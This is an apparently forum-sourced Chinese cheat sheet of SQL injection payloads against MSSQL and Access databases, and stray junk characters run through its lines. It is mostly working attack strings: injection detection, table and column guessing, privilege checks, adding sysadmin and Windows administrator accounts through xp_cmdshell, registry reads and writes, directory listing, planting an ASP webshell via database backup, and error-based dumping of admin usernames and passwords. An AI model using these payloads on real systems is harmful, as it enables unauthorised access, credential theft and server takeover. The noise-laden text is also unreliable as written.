1.判断是否有注入 5 o" l0 b4 x+ u
;and 1=1
# ]' v6 `/ f6 Y- R# c( |) [;and 1=2
2 E5 I# j4 }+ i, t
" A$ |3 F' h S. v+ ?, ]2.初步判断是否是mssql ! h1 G; E6 ~, ?1 h
;and user>0
6 t9 l# f3 c& }# b: F; n" G, @- s
3.判断数据库系统
! _5 v( u u. |. T5 L& N- z;and (select count(*) from sysobjects)>0 mssql
6 a1 o* E0 m1 D0 x9 H" P" P;and (select count(*) from msysobjects)>0 access & h; H r" ^% m4 A- z
3 Q$ _1 C6 `1 {) L' |4.注入参数是字符
. k1 a0 o- C, {8 f'and [查询条件] and ''='
% [% I) I& Q, B
/ Z/ p: i2 e# f7 l! V5.搜索时没过滤参数的
}- A, W& Z s) t B% @& z9 R'and [查询条件] and '%25'=' 6 u' x, y! K" |3 h9 n
) Q* }5 G4 {; _ N9 ?- G/ b6.猜数表名
2 G0 u' S, I8 T/ C! D! B;and (select Count(*) from [表名])>0 ( Q) A* s; y: B/ k
; z2 e1 X* r1 o0 s% T1 A7.猜字段
* r7 E o( g% a;and (select Count(字段名) from 表名)>0 0 q" P# s5 Z1 `
3 E/ | R" }4 j$ L" w5 c+ |- p
8.猜字段中记录长度
8 [; W K8 K0 E9 F5 H;and (select top 1 len(字段名) from 表名)>0 " M) K" q- w8 U. O5 [) s( G, R5 [
9 V# h8 L. c0 V+ ~( e. B( [9.(1)猜字段的ascii值(access) ; o1 J7 ~/ _9 {' V4 N
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 + t R* t" Z* \' e; }) h& p# V
5 l( n7 T6 t4 k N
(2)猜字段的ascii值(mssql) 5 N0 ^ ]! @8 M" a# \# ^. d
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
; @# \1 E1 M1 U8 B" y; |; F8 y, |1 w0 V5 ]) I# B$ J
10.测试权限结构(mssql) 8 ^( f9 u+ x) Y; @/ k" A
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 ~" X( f/ l! m" j' [( g;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / d( F/ c. U. h
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
! ^( W# M% i4 I- b4 ?: [;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- " [' U0 s3 ?" Y' h
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- : W" I2 _& Z3 l8 A
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
H# e& T9 i. z$ y4 B& c2 y' ^( N;and 1=(select IS_MEMBER('db_owner'));--
7 n s4 a7 P' a6 a1 t9 N: g
7 i- ?+ V: J! k' ]) f: k4 {% }11.添加mssql和系统的帐户
( f4 J$ S) J# J, |# p6 E" d;exec master.dbo.sp_addlogin username;--
0 j+ r/ p6 T: T1 M# H7 K;exec master.dbo.sp_password null,username,password;--
! h+ A5 L$ e. N1 Q6 G% m- e/ K;exec master.dbo.sp_addsrvrolemember sysadmin username;--
4 A: c g, E1 s/ };exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 9 T {6 u/ q) t B" { I3 k0 U6 |2 e3 F
;exec master.dbo.xp_cmdshell 'net user username password /add';-- , A; ^2 {3 y& C% F- y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( g1 J3 \+ t8 i
9 k3 f$ X9 v- C6 u9 p1 x$ A12.(1)遍历目录 5 K: v: i& J( o4 Y% x# s
;create table dirs(paths varchar(100), id int) $ {9 T+ n4 ^# x1 l& a
;insert dirs exec master.dbo.xp_dirtree 'c:\' 6 O+ E3 O+ h+ c: H0 W1 z4 M
;and (select top 1 paths from dirs)>0
% ]: b4 ^" F5 J' i" ];and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) " T0 t5 V' U' X$ J& X9 n9 k
! F$ {; m' ^3 ^. @8 A0 d(2)遍历目录 n: y0 M7 a1 _. H R: r3 a# Z6 h
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6 `, p2 s" s9 z1 ?. j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; l4 s3 b' ~, H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
. D( _) _ r n9 r, T8 |;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
1 s# t* A7 X, J6 g;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 q. U3 G5 L7 u2 V& I3 h
5 U! o# ?/ j( g/ f" Y( Q
13.mssql中的存储过程 & ?; K' b9 Z1 Z7 N; p
xp_regenumvalues 注册表根键, 子键
2 [6 M' H, j1 J2 j4 U' x;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 d0 N4 d4 b& p, F! Axp_regread 根键,子键,键值名
# g$ |3 R+ [! R2 v* m) L4 M6 ~+ R;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 ]& D3 Q( v# cxp_regwrite 根键,子键, 值名, 值类型, 值 $ o8 Y* S. @9 b1 f m+ u
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
7 a U- {2 x6 ~6 k4 j# Z7 z;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 % s1 _4 Z) n! E- V8 `
xp_regdeletevalue 根键,子键,值名 & `3 _! u4 | q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 4 ]/ b/ Z3 R* F7 U1 ~$ x H
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: E6 z; l7 C5 I4 v4 ^
. `! _' m5 {& x5 b14.mssql的backup创建webshell
) x1 E* v6 E' _+ }4 E9 Zuse model
- q7 x9 [1 `% r7 O$ S4 wcreate table cmd(str image);
$ `' A* i2 u! |7 [, M- r' Finsert into cmd(str) values ('<% Dim oScript %>');
/ u7 y! R5 o# b1 a/ mbackup database model to disk='c:\l.asp';
5 C4 f5 z% H" t0 Z3 D+ M. G6 D9 x5 Q3 X! O" J Q
15.mssql内置函数
0 r% I' s. z) Z;and (select @@version)>0 获得Windows的版本号 ) L6 {+ \- j6 B% B7 c) O% Y. Q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 w9 l1 c8 F6 e3 Y9 `6 d. ]. I& D;and (select user_name())>0 爆当前系统的连接用户
8 u/ [9 [6 W* e5 d7 r% G! |2 u;and (select db_name())>0 得到当前连接的数据库
2 P+ T; a4 l+ A/ R* C* e! [
O- F: ]6 \) o# m1 g5 \1 i0 S" C
" |% H* Q6 l) ~& t$ r+ n& k) t
MSSQL手注暴库
' c4 }- H, P2 |0 y; X! }
. _$ b# ?, ^( U7 V1.暴出当前表名和列名9 U. Z. j$ x9 k
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。" R0 q8 p7 x' d2 ]0 C0 \
! c; L! d* s* K% l( v: ^. d2 K
第一.爆出所有数据库名
+ x' F: I# _. J6 y# p5 g4 d2 O- O利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
; P7 | W/ m U7 A第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
# }+ D5 f: Y E ~* y# L: N
$ ^3 `' a" r. o" A+ d( v ]% r; uand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
5 L9 F( B1 Q" ~2 ]3 E" A4 l; ?7 V, P6 F1 @
! r; A. X2 ~* a/ s. G" Z0 `: k
第二.爆出指定库中的所有表名
1 ^1 b9 t9 S9 r& S1 w& a得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
9 f7 N" O6 L9 _* o8 |4 ]( o% M6 y( N再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
$ E5 `( l8 P2 A' `. e
& H% ~2 m( b s( qand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
+ Z9 J0 d* T! u9 o! v6 F6 i( jand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--1 V" F) v+ |; q: M7 e8 n
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
. l6 r+ c: Y* I3 s6 q4 ^. x
& V" J- v) H1 `4.爆出指定表中的所有列名
$ K) O7 u5 n1 \. D$ ]: a$ }, ]* \and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
$ Q) }; d5 B$ d- ?, x6 Q0 `, Y//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'% O0 \, `3 P( I# D) Q! c
, w5 I4 P1 o$ \# i3 C( l% aand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名+ d' |" H: h. p! N
' W( q! B& i5 d; [# B+ }再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- J' [& z$ |$ I$ c6 J d% R7 ?
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
. Y( p2 R. j7 H. k$ g0 f# o/ ^# ]& S, x- ^2 ]3 V5 s
( c% ~& w! u: X8 n, X* ]0 N+ U. u* A
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值6 ~7 r8 Q, A: @" R/ `2 Y
% p; b1 ]! E4 R _
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
1 s C$ L1 g- ?% A3 Z, Z0 C3 ]" O6 i* y; Y* S ^, E8 w
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
A& J/ S. q# }3 f4 V4 a) R; P" a: F. J% a5 d. ^, t% C
# G6 f5 h' ]* E9 o- J' L/ f& y
& S; j' c0 v; Y" ?9 K1 T/ q5.读取指定表中的数据
( u R A2 a4 }0 P; M9 x& @4 F" V7 u) i. `1 W
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 3 |5 O" j+ o+ i# y3 ^
1 G2 s \5 ^* T2 y( |2 Q: V
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
+ N2 U9 y' M/ r1 }- h. R7 c" t6 p
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
6 ]% [' {9 R/ o# ~# ]- M
) ?1 a7 J- {* O! o; ~0 \3 c: l7 z: [) B& F, [, A0 S0 K
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
: B$ X C# ~0 } H5 o4 X. `1 q- {! W R% q
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)/ O5 k6 K* X1 u) G' E! S
4 O4 S8 `' d& g' s1 Q9 v) `0 f
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--9 _/ A/ w% _0 U7 G9 H; v
3 P3 A$ B( H, v/ `3 N) O
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
$ ?( v# e& S. c8 Y |